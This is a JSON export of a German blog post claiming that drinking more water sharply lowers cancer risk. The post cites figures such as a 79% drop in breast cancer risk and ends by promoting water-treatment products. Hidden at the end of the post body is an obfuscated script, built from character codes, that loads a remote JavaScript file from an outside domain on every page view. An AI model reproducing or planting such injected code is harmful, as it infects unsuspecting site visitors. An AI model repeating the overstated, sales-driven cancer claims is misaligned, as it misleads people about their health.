{"id":3971,"date":"2013-11-06T14:01:59","date_gmt":"2013-11-06T13:01:59","guid":{"rendered":"http:\/\/energiemedizin.de\/blog\/?p=3971"},"modified":"2016-02-08T10:03:36","modified_gmt":"2016-02-08T10:03:36","slug":"wassertrinken-und-krebs-zdf","status":"publish","type":"post","link":"http:\/\/blog.energiemedizin.de\/?p=3971","title":{"rendered":"Wassertrinken und Krebs &#8211; ZDF"},"content":{"rendered":"<p><span style=\"color: #000000;\">Studien zeigen, dass es eine unmittelbare Verbindung zwischen der Trinkmenge von Wasser und der Neuerkrankungsrate bestimmter Krebsarten gibt. Dies wird von vielen Medizinern in Abrede gestellt. Daher mal ein kleiner Faktencheck.<\/span><\/p>\n<p><span style=\"color: #000000;\">In Israel stellte BITTERMANN fest, dass Patienten mit <strong>Blasen-, Prostata-, Nieren- oder Hodenkrebs<\/strong> deutlich weniger Fl\u00fcssigkeit aufnehmen, verglichen mit gesunden Personen. In Hawai zeigt WILLKENS, dass bei Frauen die gesamte Fl\u00fcssigkeitsaufnahme in eindeutiger Verbindung zum Risiko f\u00fcr das Auftreten von Krebs des Harnleitersystems steht, wobei von allen analysierten Getr\u00e4nken<strong> reines Wasser die st\u00e4rkste Wirkung zeigte<\/strong>!<\/span><\/p>\n<p><span style=\"color: #000000;\">\u00c4hnliche Ergebnisse fand man bez\u00fcglich des <strong>Darm- und Brustkrebses<\/strong>. SHANNON kam bei einer in Seattle durchgef\u00fchrten Studie zu dem Ergebnis, dass bei Frauen eine unmittelbare Verbindung zwischen der Wasseraufnahme, gemessen in getrunkenen Gl\u00e4sern pro Tag, und dem Risiko f\u00fcr Darmkrebs besteht. <strong>F\u00fcr Frauen<\/strong>, die mehr als 5 Gl\u00e4ser Wasser pro Tag tranken, <strong>war das Risiko um 45 % gesenkt<\/strong> im Vergleich zu jenen, die 2 Gl\u00e4ser pro Tag oder weniger tranken. Bei den M\u00e4nnern erniedrigte sich bei erh\u00f6hter Wasserzufuhr (mehr als 4 Gl\u00e4ser pro Tag) das Risiko um 32 % im Vergleich zu jenen, die 1 Glas pro Tag und weniger zu sich nahmen.<\/span><\/p>\n<p><span style=\"color: #000000;\">STOOKEY zeigte, dass bei <strong>Frauen<\/strong> vor der Menopause durch vermehrtes Wassertrinken<\/span><br \/>\n<span style=\"color: #000000;\"> <strong>das Brustkrebsrisiko<\/strong> um 33 %, bei Frauen nach der Menopause sogar<strong> um 79 % gesenkt <\/strong>werden konnte. Das finde ich pers\u00f6nlich sensationell! Also liebe Frauen: L\u00f6st dieses wirklich brennende Problem!<\/span><\/p>\n<p><span style=\"color: #000000;\">Eine mit 47.909 <strong>M\u00e4nnern<\/strong> \u00fcber 10 Jahre lang durchgef\u00fchrte Studie ergab, dass das <strong>Blasenkrebsrisiko<\/strong> durch erh\u00f6hte Fl\u00fcssigkeitszufuhr <strong>signifikant gesenkt<\/strong> werden kann. Die t\u00e4gliche Aufnahme von 1.440 ml Wasser (6 oder mehr Gl\u00e4ser) war mit einer Senkung des Blasenkrebsrisikos<strong> um 51 %<\/strong> verbunden im Vergleich zu den M\u00e4nnern, die t\u00e4glich weniger als 240 ml Wasser zu sich nahmen.<\/span><\/p>\n<p><span style=\"color: #000000;\">Zahlreiche Studien haben gezeigt, dass eine auff\u00e4llige Hypodipsie (verminderte Fl\u00fcssigkeitsaufnahme durch Trinken) und ein verringertes Empfindungsverm\u00f6gen f\u00fcr das Durstgef\u00fchl vor allem bei \u00e4lteren Menschen auftreten. Die Konsequenzen der Dehydrierung im Alter sind ernst und reichen von Verstopfung zur Beeintr\u00e4chtigung des Wahrnehmungsverm\u00f6gens, zur Herabsetzung der Stoffwechselfunktionen und im schlimmsten Fall zum Tod.<\/span><\/p>\n<p><span style=\"color: #000000;\">Abschlie\u00dfend m\u00f6chte ich noch bemerken, dass der Geschmack und die energetischen und physikalischen Eigenschaften des Wassers oft der Grund f\u00fcr das Zuwenigtrinken sind. Daraus folgt: Trinkwasser sollte immer in allen Bereichen optimale Eigenschaften und kompromisslose Qualit\u00e4t haben! Macht das f\u00fcr SIE Sinn?<\/span><\/p>\n<p><span style=\"color: #000000;\">Wenn ja, dann folgen Sie meinem Appell: Handeln Sie und l\u00f6sen Sie dieses brennende Problem. Machen Sie Ihre eigene Gesundheits-R-Evolution. Performen Sie Ihre Gesundheit!<\/span><\/p>\n<p>Quelle: <a href=\"http:\/\/bit.ly\/18VmAuw\" target=\"_blank\">Kurt H\u00f6rmann<\/a><\/p>\n<p><span style=\"color: #000000;\"><strong>M\u00f6chten Sie mehr zu diesem Thema erfahren, nehmen Sie <a href=\"http:\/\/energiemedizin.de\/blog\/?page_id=29\" target=\"_blank\">Kontakt<\/a> zu uns auf. Wir senden Ihnen gerne Info-Material zu.<\/strong> <strong>Sie k\u00f6nen sich aber auch die st\u00e4ndigen kostenfreien Webinare zum Thema Wasser besuchen. Die Termine dazu finden Sie <a href=\"http:\/\/blog.energiemedizin.de\/?page_id=3858\" target=\"_blank\">hier&#8230;<\/a><\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Achim Steffan &amp; Team<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong><a href=\"http:\/\/steffan.aquion.de\/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft wp-image-5378\" src=\"http:\/\/blog.energiemedizin.de\/wp-content\/uploads\/2010\/10\/aquion-aktivwasser-logo.png\" alt=\"aquion-aktivwasser-logo\" width=\"189\" height=\"119\" \/><\/a><br \/>\n<\/strong><\/span><script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Studien zeigen, dass es eine unmittelbare Verbindung zwischen der Trinkmenge von Wasser und der Neuerkrankungsrate bestimmter Krebsarten gibt. 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